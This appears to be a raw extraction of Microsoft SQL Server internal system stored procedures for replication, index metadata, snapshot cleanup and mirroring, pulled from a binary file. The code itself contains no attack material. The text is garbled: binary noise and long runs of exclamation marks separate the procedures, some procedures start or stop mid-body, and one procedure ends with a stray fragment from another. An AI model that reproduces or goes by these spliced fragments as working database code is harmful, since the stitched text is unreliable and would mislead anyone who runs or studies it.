    set nocount on
    declare @publisher sysname
    declare @publisher_db sysname
    declare @publication sysname
    declare @distributor sysname
    declare @subscription_id uniqueidentifier
    declare @subscription_type_id int
    declare @retcode int
    declare @use_web_sync int
    declare @hostname sysname
    declare @use_interactive_resolver int
    declare @dbname sysname

    if object_id(N'dbo.MSsubscription_properties', 'U') is NULL
       or object_id(N'dbo.sysmergesubscriptions', 'U') is NULL
       or object_id(N'dbo.sysmergesubscriptions', 'U') is NULL
       or object_id(N'dbo.MSmerge_replinfo', 'U') is NULL
    begin
        return 0
    end
    
    select @dbname = db_name()

    -- Register all merge  pull subscription
    DECLARE #current_sub CURSOR LOCAL FAST_FORWARD FOR 
        select rs.publisher,rs.publisher_db,rs.publication,p.distributor,s.subscription_type,rs.use_web_sync,rs.hostname,replinfo.use_interactive_resolver,s.subid
        from MSsubscription_properties rs
        join sysmergepublications p 
            on (UPPER(rs.publisher) = UPPER(p.publisher) and rs.publisher_db = p.publisher_db and rs.publication = p.name) 
        join sysmergesubscriptions s
            on (UPPER(s.pubid) = UPPER(p.pubid))  
        join MSmerge_replinfo replinfo
            on (replinfo.repid = s.subid)
        where s.subscription_type <> 0 and rs.enabled_for_syncmgr <> 1

    FOR READ ONLY
    open #current_sub
    fetch #current_sub into @publisher, @publisher_db,@publication,@distributor,@subscription_type_id,@use_web_sync,@hostname,@use_interactive_resolver,@subscription_id 
    while ( @@fetch_status <> -1 )
    begin
    
        if(@subscription_id is null)
            select @subscription_id = newid()
             
        exec @retcode = sys.sp_MSregistersubscription @replication_type = 2,
                                        @publisher = @publisher,
                                        @publisher_db = @publisher_db,
                                        @publication = @publication,
                                        @subscriber = @@servername,
                                        @subscriber_db = @dbname,
                                        @subscriber_security_mode = 1,                                
                                        @distributor = @distributor,
                                        @distributor_security_mode = 1,
                                        @subscription_id = @subscription_id,
                                        @subscription_type = @subscription_type_id,                                    
                                        @use_web_sync = @use_web_sync,                                        
                                        @hostname = @hostname,
                                        @use_interactive_resolver=@use_interactive_resolver

        IF @@ERROR <> 0 or @retcode <> 0
            return 1

        fetch next from #current_sub into @publisher, @publisher_db,@publication,@distributor,@subscription_type_id,@use_web_sync,@hostname,@use_interactive_resolver,@subscription_id
     end

     close #current_sub
     deallocate #current_sub

     return 0
end

09@ 8create procedure sys.sp_MSBitmapCount
    @bm1 varbinary(128),
    @count int output
as
    declare @len1 int
    declare @idx  int
    declare @IsSet int

    set @len1= datalength(@bm1) * 8
    set @idx= 1
    set @count = 0

    while @idx <= @len1
    begin
        exec @IsSet = sys.sp_MStestbit @bm=@bm1, @coltotest=@idx
        if @IsSet <> 0
            set @count = @count+1
        set @idx= @idx+1
    end

    return 0
03@ s8
/* Remove an article command of a specific tyep from dbo.sysmergeschemachange- Used by snapshot */
create procedure sys.sp_MSremove_mergereplcommand (
    @publication        sysname,
    @article            sysname,
    @schematype         int
    ) AS
    set nocount on
    declare @pubid              uniqueidentifier
    declare @artid              uniqueidentifier
    declare @retcode            int    

    -- added for client requested snapshot to work.
    -- when a non-dbo user comes in only do all checking and subsequent removing if the command exists in the first place.
    exec @retcode=sys.sp_MSrepl_PAL_rolecheck @publication = @publication
    if @retcode<>0 or @@ERROR<>0 return (1)

    select @pubid = pubid FROM dbo.sysmergepublications WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    select @artid = artid FROM dbo.sysmergeextendedarticlesview WHERE name = @article and pubid=@pubid
    if not exists(select * from dbo.sysmergeschemachange where pubid = @pubid and artid = @artid and schematype = @schematype)
        return 0

    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    if @publication IS NULL
    begin
        raiserror (14003, 16, -1)
        return (1)
    end
    
    if @article IS NULL
    begin
        raiserror (20045, 16, -1)
        return (1)
    end

    delete dbo.sysmergeschemachange where pubid = @pubid
                                  and artid = @artid
                             and schematype = @schematype

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`	9	<4 0. 8
create procedure sys.sp_indexes_rowset
(
    @table_name     sysname,
    @index_name     sysname = null,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED

    from
        sys.spt_indexes_view s_iv

    where
        (
            (@table_schema is null and s_iv.TABLE_NAME = @table_name) or
            s_iv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        ) and
        (@index_name is null or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
0. 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_indexes_rowset;2
(
    @index_name     sysname = null,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED

    from
        sys.spt_indexes_view s_iv

    where
        (@table_schema is null or schema_id(@table_schema) = s_iv.SCHEMA_ID) and
        (@index_name is null   or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
0. 8
--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_indexes_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @index_name         sysname = null,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        INDEX_CATALOG,
        INDEX_SCHEMA,
        INDEX_NAME,
        PRIMARY_KEY,
        [UNIQUE],
        [CLUSTERED],
        [TYPE],
        FILL_FACTOR,
        INITIAL_SIZE,
        NULLS,
        SORT_BOOKMARKS,
        AUTO_UPDATE,
        NULL_COLLATION,
        ORDINAL_POSITION,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        [COLLATION],
        CARDINALITY,
        PAGES,
        FILTER_CONDITION,
        INTEGRATED = null   -- ISSUE these 3 columns must be exported by the server
                            -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
                            -- const SCHEMA_COLUMNS xCol_INDEXES = {
    from sys.fn_remote_indexes (
                @table_server,
                @table_catalog,
                @table_schema,
                @index_name,
                null,           -- TYPE (index type)
                @table_name )
    order by 8 desc, 4, 5, 6, 17
0W| 8 
-- add it
create view sys.pdw_diag_event_properties as
select
	event_name	collate database_default event_name,
	property_name	collate database_default property_name
from sys._pdw_diag_event_properties
0 8create procedure sys.sp_checkusernotloggedin
   @loginame		sysname,
   @bogus			int output
AS
	set nocount on

	declare	@sid	varbinary(85)

	select @sid = suser_sid(@loginame)
	if (@sid is null)
		return(15007)

	-- CHECK IF @sid IS CURRENTLY LOGGED IN (ignore cached remote connections) --
	if exists (select session_id from sys.dm_exec_sessions where security_id = @sid and status != 'dormant')
		return(15434)

    -- RETURN SUCCESS --
	return (0)	-- sp_checkusernotloggedin
0
@ u8CREATE VIEW sys.dm_xe_objects AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_OBJECTS) 
0[@ ?8
--
-- Name:
--		sp_MSrepl_fixupdefaultmappings
--
-- Description:
--		Prune any dead map entries (no data type mappings)
--		Restore defaults for any empty default mapping entries
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		Used to clean up after dropping data type mappings
--		NOTE: Caller is assumed to manage transaction
--

CREATE PROCEDURE sys.sp_MSrepl_fixupdefaultmappings
AS
BEGIN
    SET NOCOUNT ON

	-- Delete any dead maps
	DELETE FROM msdb.dbo.MSdbms_map
	WHERE	map_id NOT IN
				(
					SELECT	distinct map_id
					FROM	msdb.dbo.MSdbms_datatype_mapping
				)
	
	IF @@ERROR <> 0
	BEGIN
		RETURN (1)
	END
	
	-- Reset null default mappings
	UPDATE	msdb.dbo.MSdbms_map
	SET		default_datatype_mapping_id = dm.datatype_mapping_id
	FROM	msdb.dbo.MSdbms_map map,
			msdb.dbo.MSdbms_datatype_mapping dm
	WHERE	map.map_id = dm.map_id
	  AND	map.default_datatype_mapping_id IS NULL

	IF @@ERROR <> 0
	BEGIN
		RETURN (1)
	END
	
	RETURN (0)		
END
0U D8Uh#	1$	 *
	FROM OpenRowset(TABLE DM_XE_OBJECT_COLUMNS) 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!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itorchangemonitoring 
(
    @parameter_id		int,	-- There is only one parameter_id now.  1 = update period in minutes.
    @value				int
)
as
begin
	set nocount on
	if (is_srvrolemember( N'sysadmin') <> 1 )
        begin
			raiserror(21089, 16, 1)
			return 1
		end

	declare @retcode		int,
			@schedname		nvarchar( 256 )

	select @schedname = isnull( formatmessage( 32048 ), N'Database Mirroring Schedule' )

	if (@parameter_id < 1 OR @parameter_id > 1) 
		begin
			raiserror( 32036, 16, 1 )
			return 1
		end

	if (@parameter_id = 1) -- kind of a redundant check
		begin
		-- validate update_period to make sure that it is a reasonable number. 1-120 minutes for now.
		-- do not forget to keep this in synch with the add sp.
		if (@value < 1 or @value > 120)
		begin
 			raiserror ( 32032, 16, 1, @value)	-- specific message for the update period.
			return( 1 )
		end
		exec @retcode = msdb.dbo.sp_update_schedule 
			@name = @schedname,
			@freq_type = 4,						-- Daily
			@freq_interval = 1,					-- Every 1 days 
			@freq_subday_type = 4,				-- Based on Minutes
			@freq_subday_interval =	@value		-- interval
		end

	if ( @@error != 0 OR @retcode != 0 )
		begin
			raiserror( 32035, 16, 1 )
			return 1
		end

	return 0
end
0#@ 8
CREATE PROCEDURE sys.sp_publicationsummary 
(
	@publication sysname,
	@publisher   sysname = NULL
)
AS
BEGIN
	DECLARE	@cmd			nvarchar(4000),
			@retcode		int,
			@publisher_type	sysname

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
	BEGIN
		RETURN (@retcode)
	END

	select @publisher = UPPER(@publisher)
                ,@cmd = @cmd + N'sys.sp_MSrepl_publicationsummary'
	
	EXEC @retcode = @cmd
					@publication,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
0v% 	8
create proc sys.sp_MSmatchkey
	@tablename nvarchar(517),
	@col1 nvarchar(258),
	@col2 nvarchar(258) = null,
	@col3 nvarchar(258) = null,
	@col4 nvarchar(258) = null,
	@col5 nvarchar(258) = null,
	@col6 nvarchar(258) = null,
	@col7 nvarchar(258) = null,
	@col8 nvarchar(258) = null,
	@col9 nvarchar(258) = null,
	@col10 nvarchar(258) = null,
	@col11 nvarchar(258) = null,
	@col12 nvarchar(258) = null,
	@col13 nvarchar(258) = null,
	@col14 nvarchar(258) = null,
	@col15 nvarchar(258) = null,
	@col16 nvarchar(258) = null
as

	create table #t1 (		/* Join into this... */
		i					int				NOT NULL,
		name				nvarchar(258)	 COLLATE database_default   NULL
	)

	create table #i1 (
		i					int				NOT NULL
	)

	declare @id int, @ii int, @colnotfound nvarchar(258), @keycnt int
	select @id = object_id(@tablename)
	if (@id is null) begin
		RAISERROR (15001, -1, -1, @tablename)
		return 1
	end
	select @ii = 1
	insert #t1 values (1, @col1)
	insert #t1 values (2, @col2)
	insert #t1 values (3, @col3)
	insert #t1 values (4, @col4)
	insert #t1 values (5, @col5)
	insert #t1 values (6, @col6)
	insert #t1 values (7, @col7)
	insert #t1 values (8, @col8)
	insert #t1 values (9, @col9)
	insert #t1 values (10, @col10)
	insert #t1 values (11, @col11)
	insert #t1 values (12, @col12)
	insert #t1 values (13, @col13)
	insert #t1 values (14, @col14)
	insert #t1 values (15, @col15)
	insert #t1 values (16, @col16)
	delete #t1 where name is null

	select @colnotfound = min(name) from #t1 where name not in (select name from dbo.syscolumns where id = @id)
	if (@colnotfound is not null) begin
		RAISERROR (14305, -1, -1, @colnotfound, @tablename)
		return 1
	end
	select @ii = 1, @keycnt = count(*) from #t1

	/* Load all indexes which have the matching number of columns into a temp table, then eliminate those which don't qualify. */
	/* Remember the RID in the nc index is counted as a key */
	insert #i1 select indid from dbo.sysindexes where status & 0x1800 <> 0
		and id = @id and keycnt - (case indid when 1 then 0 else 1 end) = @keycnt
	while (@ii <= @keycnt) begin
		delete #i1 from #i1 i, #t1 t where t.i = @ii and index_col(@tablename, i.i, t.i) <> t.name
		select @ii = @ii + 1
	end

	/* The qualifying key will be the lowest indid (or the ONLY indid, if we disallow duplicate ind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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!G`
a<R.λ0R@ 8--
-- Name: sp_MStrypurgingoldsnapshotdeliveryprogress
--
-- Description: This function removes snapshot sessions in 
--              MSsnapshotdeliveryprogress containing progress tokens that
--              are too old (3 days or older) provided that it can acquire the 
--              'snapshot_delivery_in_progress_' + db_name() application lock
--              in exclusive mode immediately. This is to ensure that the 
--              the removal of progress tokens will not disrupt any on-going
--              snapshot delivery processes.
--
-- Parameter: none
--
-- Notes: This procedure is normally invoked by the distribution/merge agent
--        at the begining of a snapshot delivery session although the database
--        adminstrator can invoke this procedure to actively purge old entries
--        in sp_MSsnapshotdeliveryprogress. Since this procedure
--        is meant to provide a best-effort mechanism for cleaning up old 
--        sessions in MSsnapshotdeliveryprogress, it will not raise an error
--        if it fails to acquire the 'snapshot_in_progress_' + db_name() 
--        application lock.
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_MStrypurgingoldsnapshotdeliveryprogress
as
begin
    set nocount on
    declare @retcode int
    declare @resource nvarchar(255)
    declare @lock_acquired int 
    declare @cursor_allocated bit
    declare @cursor_opened bit
    declare @pubidprefix nvarchar(100)    
    declare @pubid uniqueidentifier
    declare @cutofftime datetime
    select @retcode = 0

    select @cutofftime = datediff(day, 3, getdate())
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

    select @lock_acquired = 0
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto Failure
    end

    select @resource = 'snapshot_delivery_in_progress_' + 
        db_name() collate database_default
    select @cursor_allocated = 0
    select @cursor_opened = 0
    select @pubidprefix = N'<MergePubId>:'

    exec @retcode = sys.sp_getapplock @Resource = @resource,
                                      @LockMode = 'Exclusive',
                                      @LockOwner = 'Session',
                                      @LockTimeout = 0,
                                      @DbPrincipal = N'db_owner'
    -- Bail on critical errors from sp_getapplock
    if @retcode < -1 or @@error <> 0
    begin
        select @retcode = 1
        goto Failure
    end

    -- Lock request timeout because a snapshot is being delivered; bail
    -- without raising an error
    if @retcode = -1
    begin
        select @retcode = 0
        goto Failure
    end
    select @retcode = 0
    select @lock_acquired = 1

    -- Delete all sessions containing tokens that are more than 3 days old
    if object_id('dbo.MSsnapshotdeliveryprogress') is not null
    begin
        -- Eliminating merge snapshot progress requires additional cleanup in
        -- the merge meta-data tables so do it separately
        declare hpubid cursor local fast_forward for 
            select convert(uniqueidentifier, right(progress_token, len(progress_token) - len(@pubidprefix))) 
              from dbo.MSsnapshotdeliveryprogress
             where left(progress_token, len(@pubidprefix)) = @pubidprefix
               and session_token in
                    (select session_token
                       from dbo.MSsnapshotdeliveryprogress sdp_inner
                      where progress_timestamp < @cutofftime)
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_allocated = 1    

        open hpubid
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_opened = 1    
        
        fetch hpubid into @pubid
        while (@@fetch_status <> -1)
        begin

            exec @retcode = sys.sp_MSpurgepartialmergesnapshot
                    @pubid = @pubid
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            fetch hpubid into @pubid
        end

        close hpubid 
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_opened = 0
   
        deallocate hpubid
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        select @cursor_allocated = 0

        delete dbo.MSsnapshotdeliveryprogress
        where session_token in 
            (select session_token
               from dbo.MSsnapshotdeliveryprogress sdp_inner
              where progress_timestamp < @cutofftime)
        if @@error <> 0
        begin
            select @retcode = 1
            goto Failure
        end
    end
    
Failure:
    if @cursor_opened = 1
    begin
        close hpubid
    end
    
    if @cursor_allocated = 1
    begin
        deallocate hpubid
    end

    if @lock_acquired = 1
    begin
        exec @retcode = sys.sp_releaseapplock @Resource = @resource,
                                              @LockOwner = 'Session',
                                              @DbPrincipal = N'db_owner'

        if @retcode < 0 or @@error <> 0
        begin
            select @retcode = 1
        end
    end
    return @retcode            
end
01 h8CREATE PROCEDURE sys.sp_dropanonymoussubscription
(
@agent_id int,
@type int -- 1 tran sub, 2 merge sub
)
as
begin
    declare @retcode int
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	if @type not in (1,2)
	begin
		raiserror(20587, 16, -1, '@type', 'sp_dropanonymoussubscription')
		return (1)
	end
	-- If tran
	if @type = 1
	begin
		if not exists (select * from MSdistribution_agents where
			id = @agent_id and
			subscriber_name is not null)
		begin
			RAISERROR (14055, 11, -1)
			return(1)
		end
		exec @retcode = sys.sp_MSdrop_distribution_agentid @agent_id
		if @retcode <> 0 or @@error <> 0
			return 1
	end
	else
	begin
		if not exists (select * from dbo.MSmerge_agents where
			id = @agent_id and
			anonymous_subid is not null)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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<Ma0N 8
CREATE FUNCTION sys.dm_db_objects_disabled_on_compatibility_level_change(@compatibility_level int)
RETURNS TABLE AS		
	RETURN SELECT * FROM OPENROWSET(TABLE SYSTEM_REFERENCES, 0, @compatibility_level, NULL, NULL)
0uU 8
create procedure sys.sp_MSvalidatearticle
    @artid      uniqueidentifier,
    @pubid      uniqueidentifier,
    @expected_rowcount bigint = NULL OUTPUT,
    @expected_checksum numeric = NULL OUTPUT,
    @validation_type int = NULL,
    @full_or_fast tinyint = 2
as
    declare @objid int
    declare @syncobjid int
    declare @owner sysname
    declare @object sysname
    declare @view_type tinyint
    declare @temp_view tinyint
    declare @retcode int
    declare @rowcount_only int
    declare @source_objid int
    declare @column_list nvarchar(max)
    /*
    ** Check to see if current publication has permission
    */
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSvalidatearticle')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    /* 
    The @rowcount_only param is overloaded for shiloh release due to backward compatibility concerns.
    In shiloh, the checksum functionality has changed.   So 7.0 subscribers will have the old checksum 
    routines, which generate different CRC values, and do not have functionality for vertical partitions,
    or logical table structures where column offsets differ (due to ALTER TABLEs that DROP and ADD columns).

    In 7.0, this was a bit column.  0 meant do not do just a rowcount - do a checksum.  1 meant just do a 
    rowcount.

    For Shiloh, this parameter is changed to a smallint with these options:
    0 - Do a 7.0 compatible checksum
    1 - Do a rowcount check only
    2 - Use new Shiloh checksum functionality.  Note that because 7.0 subscribers will 
    take this parameter as a bit type, not a smallint, it will be interpreted as simply
    ON.  That means that passing a 2, and having a 7.0 subscriber, will result in the 7.0
    subscriber doing only rowcount validation.   The Shiloh subscribers will do both
    rowcount and checksum.  If you want 7.0 subscribers to do checksum validation, use 
    the value of 0 for this parameter.   Shiloh subscribers can do the 7.0 compatible 
    checksum, but that checksum has the same 7.0 limitations for vertical partitions 
    and differences in physical table structure.)
    */
    if @validation_type = 3 or @validation_type = 2
        set @rowcount_only  = 2
    else
        set @rowcount_only  = 1

    select @syncobjid = sync_objid, @objid = objid, @view_type = view_type from
                dbo.sysmergearticles where pubid = @pubid and artid = @artid
    select @source_objid = @objid       
    if (@syncobjid is not null and @syncobjid <> 0)
        set @objid = @syncobjid
    select @object = name, @owner = SCHEMA_NAME(schema_id) from sys.objects where object_id = @objid
        -- if sync object is a temp view, we can't do this...
    set @temp_view = 2
    if @view_type = @temp_view
    begin
        RAISERROR (20069, 16, -1)
        return 1
    end
    --else if (@view_type = 1 and @rowcount_only = 0)
    --begin
    --    RAISERROR (21017, 16, -1)
    --    return 1
    --end
    -- call with blob_cols_at_the_end =0 so we get the actual order of the columns in the article not non-blob followed by
    -- blob
    exec @retcode = sys.sp_MSgetviewcolumnlist @pubid, @source_objid, @column_list OUTPUT, @blob_cols_at_the_end=0
    if @@ERROR<>0 OR @retcode <> 0
        return @retcode

    exec @retcode = sys.sp_MStable_validation @object, @expected_rowcount OUTPUT, @expected_checksum  OUTPUT, @rowcount_only, @owner, @full_or_fast, 0, NULL, @column_list
    if @@error<>0 return(1)
    return @retcode
    
r <> 0 or @retcode <> 0
            return 1
    end
    
    return 0

0U0 8create procedure sys.sp_MSdropdisabledmltrigger
    @source_object sysname,
    @source_owner sysname
as
    declare @artid uniqueidentifier
    declare @cmd nvarchar(1000)
    declare @triggername nvarchar(130)
    declare @guidstr nchar(32)
    declare @retcode int
    declare @qualified_tablename nvarchar(517)
    declare @qualified_trig_name nvarchar(517)
    declare @objid int

    if @source_owner is not NULL
        select @qualified_tablename = quotename(@source_owner) + '.' + quotename(@source_object)
    else 
        select @qualified_tablename = @source_object
        
    select @objid = object_id(@qualified_tablename)
    if @objid is NULL
        return 0

    select top 1 @artid = artid from dbo.sysmergearticles where objid=@objid
    if @artid is NULL
        return 1

    exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
    if @retcode <> 0 or @@error <> 0 return (1)

    -- remove disable dml trigger, if it exists
    set @triggername= 'MSmerge_disabledml_' + @guidstr
    select @qualified_trig_name = quotename(schema_name(schema_id))+'.'+quotename(@triggername)
        from sys.objects where object_id=@objid

    if object_id(@qualified_trig_name, 'TR') is not null
    begin
        set @cmd= 'drop trigger ' + @qualified_trig_name 
        exec sys.sp_executesql @cmd
        if @@error <> 0 
            return 1
    end

    return 0
0nh@ 8create procedure sys.sp_MShelp_distdb (     
    @publisher_name     sysname
)
as

-- Current user must have PAL access to at least one distribution database
declare @retcode int
exec @retcode = sys.sp_MSrepl_DistributorPALAccess
if @retcode <> 0 or @@error <> 0
BEGIN
    select NULL where 1=2   /* We still want an empty rowset for some agents */
    return(1)
end

if exists (select name from msdb.sys.objects where name = 'MSdistpublishers')
begin
    select distribution_db from msdb..MSdistpublishers
    where UPPER(name collate database_default) = UPPER(@publisher_name) collate database_default
end
else 
    select NULL where 1=2   /* We still want an empty rowset for some agents */
